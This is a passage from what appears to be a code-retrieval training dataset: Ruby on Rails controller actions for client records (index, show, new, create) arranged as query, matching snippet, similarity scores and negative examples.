"def show\n @api_client = ApiClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_client }\n end\n end",
"def index \n @clients = ApiClient.all\n end",
"def show\n client= Client.find_by_id params[:id]\n if client != nil\n render(json: client, status: 200) \n else\n head 404\n end \n end",
"def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def index\n @clientes = Cliente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientes }\n end\n end",
"def show\n @clients = get_clients\n @client = Client.find(params[:id])\n\n respond_to do |format|\n #format.html # show.html.erb\n format.json { render json: @client }\n format.js\n end\n end",
"def show\n @client = Client.find(params[:id])\n respond_with(@client)\n end",
"def show\n @client = Client.find(params[:id])\n respond_with(@client)\n end",
"def index\n @clients = Client.where(params.except(:action, :controller, :format)).to_a # TODO: remove .to_a when Rails to_json bug fixed\n respond_with(@clients)\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def index\n @clients = Client.all\n end",
"def show\n @clientsOffers = ClientsOffers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientsOffers }\n end\n end",
"def index\n add_breadcrumb(I18n.t('model.list', model: Client.model_name.human))\n\n @clients = Client.all()\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def show\n\n @client = Client.find(params[:id])\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @client = Client.find(params[:id])\n end",
"def show\n @client = Client.find(params[:id])\n end",
"def show\n @client = Client.find(params[:id])\n end",
"def show\n @client = Client.find(params[:id])\n end",
"def show\n @client = Client.find(params[:id])\n end",
"def show\n @client_need = ClientNeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_need }\n end\n end",
"def show\n @client = Client.find(params[:id])\n authorize! :read, @client\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def show\n @client = Client.find_by(id: params[:id])\n end",
"def index\n get_clientes\n end",
"def index\n @clients = Client.all\n end",
"def get_clients\n @clients\n end",
"def get_clients\n @clients\n end",
"def show\n @client = Client.find(params[:id])\n\n end",
"def clients\n @clients = Vendor.find(params[:id]).clients\n end",
"def show\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:show [ID]\")\n\n client = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n\n if options[:shell]\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Client \"#{client[\"name\"]}\".})\n styled_hash(client)\n end\n end",
"def details\n response = CreateSend.get \"/clients/#{client_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def index\n puts params\n puts params[:filter]\n \n @clients = get_clients \n @client = Client.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def index\n \n @qa_clients = QaClient.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @qa_clients }\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def index\n clients = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/clients\"\n ).body\n end\n styled_header(\"OAuth Clients\")\n styled_array(clients.map { |client|\n [client[\"name\"], client[\"id\"], client[\"redirect_uri\"]]\n })\n end",
"def show\n @client = Client.find params[:id]\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def show\n @client_number = ClientNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_number }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def index\n @clients = Client.page(params[:page] || 1).per(10)\n end",
"def for_clients\n raise Forbidden if current_user.is_client_user?\n only_provides :json\n @search_criteria = SearchCriteria.new(params[:search_criteria], current_user)\n display :options => @search_criteria.all_projects.map { |p| { :id => p.id, :name => p.name } }\n end",
"def show\n @client = Client.find(@current_user[\"client_id\"])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @client }\n end\n end",
"def index_clients\n @client = Client.all\n end",
"def show\n @client = Client.find(params[:id])\n if @client.nil?\n @clients = Client.all\n flash.now[:alert] = \"Les détails du client n'ont pas été trouvés\"\n render \"index\"\n end\n respond_to do |format|\n format.html #show.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def show\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_type }\n end\n end",
"def show\n @qa_client = QaClient.find(params[:id])\n @qa_activities = @qa_client.qa_activities\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @qa_client }\n end\n end",
"def index\n @client_infos = ClientInfo.all\n end",
"def client_detail\n service_response = UserManagement::GetClientDetail.new(params).perform\n render_api_response(service_response)\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n # @client = Client.find(params[:client_id])\n end",
"def index\n @client_name = params[:id]\n unless @client_name.nil?\n client = Client.find_by_name(@client_name)\n @projects = client.projects\n else\n redirect_to :controller => \"clients\"\n end\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clients }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @client_sync_hash }\n format.xml { render :xml => @client_sync_hash }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def list_clients(json_payload={})\n conn = @client.get do |req|\n req.url \"/api/v2/client/list?\"\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"def show\n @player_client = PlayerClient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_client }\n end\n end",
"def show\n @clientconfig = Clientconfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientconfig }\n end\n end",
"def show\n @client = Client.find params[:client_id]\n end",
"def index\n add_breadcrumb(I18n.t('model.list', model: Client.model_name.human))\n\n @clients = current_space.clients\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients_grid }\n end\n end",
"def show\n @cliente = Cliente.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cliente }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def index\n @client_releases = ClientRelease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_releases }\n end\n end",
"def index\n @page_count, @clients = Locomotive::Client.paginated(:page => (params[:page] || 1).to_i)\n display @clients\n end",
"def index\n @clientships = current_user.clientships.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clientships }\n end\n end"
] |
[
"0.735819",
"0.7306338",
"0.7300522",
"0.7281493",
"0.7281493",
"0.7281493",
"0.7281493",
"0.7281493",
"0.7281493",
"0.7281493",
"0.7225086",
"0.72241795",
"0.7207474",
"0.71336424",
"0.7118993",
"0.70751715",
"0.7050957",
"0.70501",
"0.7034971",
"0.69702554",
"0.69097525",
"0.6904583",
"0.6852276",
"0.68400764",
"0.6820352",
"0.6801501",
"0.6787892",
"0.6784079",
"0.6770945",
"0.6746177",
"0.6746177",
"0.6745007",
"0.6719278",
"0.6719278",
"0.6719278",
"0.6719278",
"0.6719278",
"0.6719278",
"0.6719278",
"0.6719278",
"0.66768223",
"0.6675673",
"0.66723794",
"0.666534",
"0.666228",
"0.6661093",
"0.6661093",
"0.6661093",
"0.6661093",
"0.666021",
"0.6656175",
"0.6645204",
"0.664422",
"0.66364527",
"0.66338784",
"0.66338784",
"0.662272",
"0.66113865",
"0.6609526",
"0.6594048",
"0.6593476",
"0.65920985",
"0.6583296",
"0.6566361",
"0.65643084",
"0.65235966",
"0.651117",
"0.65030634",
"0.65030634",
"0.65030634",
"0.65030634",
"0.6496528",
"0.6495235",
"0.6494899",
"0.64813226",
"0.6457237",
"0.64550734",
"0.64545226",
"0.6453981",
"0.64397734",
"0.643745",
"0.643745",
"0.643745",
"0.64282656",
"0.64160305",
"0.64138836",
"0.64026695",
"0.639021",
"0.6387057",
"0.6376295",
"0.63745385",
"0.63726425",
"0.63655925",
"0.63652486",
"0.63573635",
"0.63573635",
"0.6356329",
"0.6338597",
"0.6327787",
"0.6303939"
] |
0.7652661
|
0
|
GET /my_studio/clients/new GET /my_studio/clients/new.json
|
def new
@my_studio_client = MyStudio::Client.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @my_studio_client }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n session[:current] = 'menu_clients'\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @client = Client.new\n @account = current_user.account\n @user = current_user\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n add_breadcrumb t('model.create', model: Client.model_name.human)\n @client = Client.new\n @client.created_by_id = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n @clients = get_clients\n @client = Client.new\n\n respond_to do |format|\n format.js # new.js.erb\n end\n end",
"def new\n @client = Client.new\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\n add_breadcrumb t('model.create', model: Client.model_name.human)\n @client = Client.new\n @client.created_by = current_user.id\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n end",
"def new\r\n @client = Client.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @client }\r\n\t format.js {}\r\n end\r\n end",
"def new\n @client_need = ClientNeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_need }\n end\n end",
"def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n if current_admin.present?\n @clients = Client.all\n @client = Client.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def new\n @client_type = ClientType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_type }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def new\n @client = Client.new\n\t\tcontact_type = ContactType.find_by_default_selection(true)\n\t\[email protected]( :contact_type => contact_type )\n\t\[email protected]\n\t\[email protected]\n\t\[email protected]_agencies.build\n\t\[email protected]_sentences.build\n\t\[email protected]_classes.build\n\t\[email protected]_substances.build\n\n respond_to do |format|\n format.html { render :layout=>'client_new' }\n format.xml { render :xml => @client }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @api_client = ApiClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_client }\n end\n end",
"def new\n @client = Client.new\n respond_to do |format|\n format.html #new.html.erb\n format.xml { render :xml => @client }\n end\n end",
"def new\n @client = Client.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n\n end",
"def new\n @client = Client.new\n respond_with(@client)\n end",
"def create\n @my_studio_client = MyStudio::Client.new(params[:my_studio_client])\n\n respond_to do |format|\n if @my_studio_client.save\n format.html { redirect_to @my_studio_client, notice: 'Client was successfully created.' }\n format.json { render json: @my_studio_client, status: :created, location: @my_studio_client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_studio_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @secubat_client = SecubatClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @secubat_client }\n end\n end",
"def new\n build_client\n end",
"def new\n @clientsOffers = ClientsOffers.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientsOffers }\n end\n end",
"def new\n @client_number = ClientNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_number }\n end\n end",
"def new\n @qa_client = QaClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @qa_client }\n end\n end",
"def new\n\tif signed_in?\n\t\t@current_client = current_user.username\n\t\tif current_user.username == 'admin'\n\t\t\t@clientconfig = Clientconfig.new\n\t\t\t@clients = Client.all.collect {|c| [c.name, c.id]}\n\t\telse\n\t\t\tredirect_to home_path\n\t\tend\n\telse\n\t\tredirect_to signin_path\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientconfig }\n end\n end",
"def new\n @partner = Partner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partner }\n end\n end",
"def new\n @client = Client.new\n # @client.contacts.build\n # @client.meetings.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n format.js\n end\n end",
"def new\n @evclient = Evclient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evclient }\n end\n end",
"def new\n @contact = Contact.new\n if not params[:client].nil?\n @client = Client.new JSON.parse(params[:client])\n @contact.clientId = @client._id\n @contact.name = @client.nome\n @contact.email = @client.email\n @contact.phone = @client.telefone\n @contact.address = @client.endereco\n @contact.client_type = @client.client_type\n @contact.institution = @client.instituicao\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contact }\n end\n end",
"def new\n @clientcase = Clientcase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @clientcase }\n end\n end",
"def new\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server }\n end\n end",
"def new\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server }\n end\n end",
"def new\n @client_release = ClientRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_release }\n end\n end",
"def new\n @player_client = PlayerClient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_client }\n end\n end",
"def new\n @project = Project.new\n @project.client_id = params[:client_id]\n @project.created_by = current_user.id\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @cliente = Cliente.new\n localidad_new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html { render layout: nil } # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @engagement = Engagement.new\n @clients = Client.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @engagement }\n end\n end",
"def new\n @clientship = Clientship.new\n @users = User.all\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientship }\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @company = Company.new(:name => 'default')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @company }\n end\n end",
"def new\n @client_sex = ClientSex.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_sex }\n end\n end",
"def new\n @client = Client.new\n authorize! :create, @client\n\n @client.date = DateTime.now\n if user_signed_in?\n @client.caseworker = current_user.caseworker\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @client }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @intern = Intern.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intern }\n end\n end",
"def new\n @new_comm = NewComm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_comm }\n end\n end",
"def create\n @clients = get_clients\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n @clients = get_clients\n newVisitOnCreate(@client)\n #format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n format.js\n else\n #format.html { render action: \"index\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n #newParams = client_params.as_json\n flash[:notice] = \"Cliente creado\"\n @client = current_freelance.clients.create(client_params)\n\n #@client = current_freelance.clients\n #@client.name = params[:name]\n #@client.surname = params[:surname]\n #@client.username = params[:username]\n #@client.password = params[:password]\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n #format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_for_order\n @cliente = Cliente.new\n\n respond_to do |format|\n format.html\n format.json { render json: @cliente }\n end\n end",
"def new\n @clonet = Clonet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clonet }\n end\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def new\n @sitio = Sitio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sitio }\n end\n end",
"def new\n @apprentice = Apprentice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @apprentice }\n end\n end",
"def new\n @client_asset = ClientAsset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_asset }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @cloud }\n end\n end",
"def new\n @client = Client.new\n @client.campaign_id = session[:campaign_id]\n @groups = Group.where(\"campaign_id = ?\", @client.campaign_id).all.map {|u| [u.name, u.id] }\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @client }\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save \n format.html { redirect_to @client, :notice => 'Klijent je uspjesno kreiran.' }\n format.json { render :json => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @cool = Cool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cool }\n end\n end",
"def new\n @patient = @client.patients.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @client_transaction = ClientTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_transaction }\n end\n end",
"def new\n @serving = Serving.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serving }\n end\n end",
"def new\n @clientepedido = Clientepedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clientepedido }\n end\n end",
"def new\n @cust = Cust.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cust }\n end\n end",
"def new\n @server_info = ServerInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_info }\n end\n end",
"def new\n @client = Client.new\n 1.times { @client.projects.build }\n 1.times { @client.notes.build }\n respond_with(@client)\n end",
"def new\n\t\t@client = Client.new\n\tend",
"def new\n @licserver = Licserver.new\n\n respond_to do |format|\n format.html { render :partial => 'form', :locals => { :licserver => nil } }\n\t\t\tformat.template { render :partial => 'form.html', :locals => { :licserver => nil } }\n format.json { render json: @licserver }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alley }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @company = Company.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company }\n end\n end",
"def new\n @client = Client.find(params[:client_id])\n @project = @client.projects.build\n \n respond_with(@project)\n end",
"def new\n @servicio = Servicio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @servicio }\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end",
"def new\n @client_player = ClientPlayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_player }\n end\n end",
"def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @site = Site.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end",
"def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end"
] |
[
"0.7884393",
"0.7884393",
"0.7884393",
"0.7884393",
"0.74914384",
"0.74051243",
"0.74026966",
"0.739452",
"0.7381194",
"0.734045",
"0.72835845",
"0.7273845",
"0.7241994",
"0.7201605",
"0.71809745",
"0.71788216",
"0.71788216",
"0.71575797",
"0.7118455",
"0.7118455",
"0.7118455",
"0.7118455",
"0.7118455",
"0.710966",
"0.7098823",
"0.7074483",
"0.7045963",
"0.70226663",
"0.70131636",
"0.7007333",
"0.69739664",
"0.69480115",
"0.6941947",
"0.6912319",
"0.68930763",
"0.6870858",
"0.6869137",
"0.6853359",
"0.6842334",
"0.68417567",
"0.68417567",
"0.683094",
"0.6828039",
"0.682556",
"0.6799971",
"0.6787033",
"0.6786503",
"0.67759174",
"0.6760304",
"0.67501205",
"0.6737412",
"0.6736693",
"0.6729997",
"0.6712309",
"0.6711347",
"0.6711142",
"0.6705719",
"0.67049825",
"0.67005795",
"0.66935426",
"0.6688283",
"0.66854763",
"0.66853476",
"0.6681816",
"0.66777515",
"0.6677664",
"0.66774976",
"0.66721183",
"0.6670205",
"0.6666044",
"0.6661706",
"0.66611385",
"0.66608226",
"0.66571605",
"0.6656553",
"0.6644986",
"0.66434723",
"0.66412157",
"0.66368514",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6630101",
"0.6628104",
"0.6626784",
"0.6622518",
"0.66201586",
"0.6606951",
"0.66057694",
"0.6605053",
"0.6605053",
"0.6605053",
"0.6605053",
"0.6604411"
] |
0.77138335
|
4
|
POST /my_studio/clients POST /my_studio/clients.json
|
def create
@my_studio_client = MyStudio::Client.new(params[:my_studio_client])
respond_to do |format|
if @my_studio_client.save
format.html { redirect_to @my_studio_client, notice: 'Client was successfully created.' }
format.json { render json: @my_studio_client, status: :created, location: @my_studio_client }
else
format.html { render action: "new" }
format.json { render json: @my_studio_client.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @studio_client = StudioClient.new(studio_client_params)\n\n respond_to do |format|\n if @studio_client.save\n format.html { redirect_to edit_admin_studio_client_path(@studio_client), notice: 'Studio client was successfully created.' }\n format.json { render :show, status: :created, location: @studio_client }\n else\n format.html { render :new }\n format.json { render json: @studio_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(client_params)\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_url, notice: 'El cliente se creó correctamente' }\n format.json { render :index, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #newParams = client_params.as_json\n flash[:notice] = \"Cliente creado\"\n @client = current_freelance.clients.create(client_params)\n\n #@client = current_freelance.clients\n #@client.name = params[:name]\n #@client.surname = params[:surname]\n #@client.username = params[:username]\n #@client.password = params[:password]\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n #format.json { render :show, status: :created, location: @client }\n else\n format.html { render :new }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save \n format.html { redirect_to @client, :notice => 'Klijent je uspjesno kreiran.' }\n format.json { render :json => @client, :status => :created, :location => @client }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @client.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to clients_path, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end",
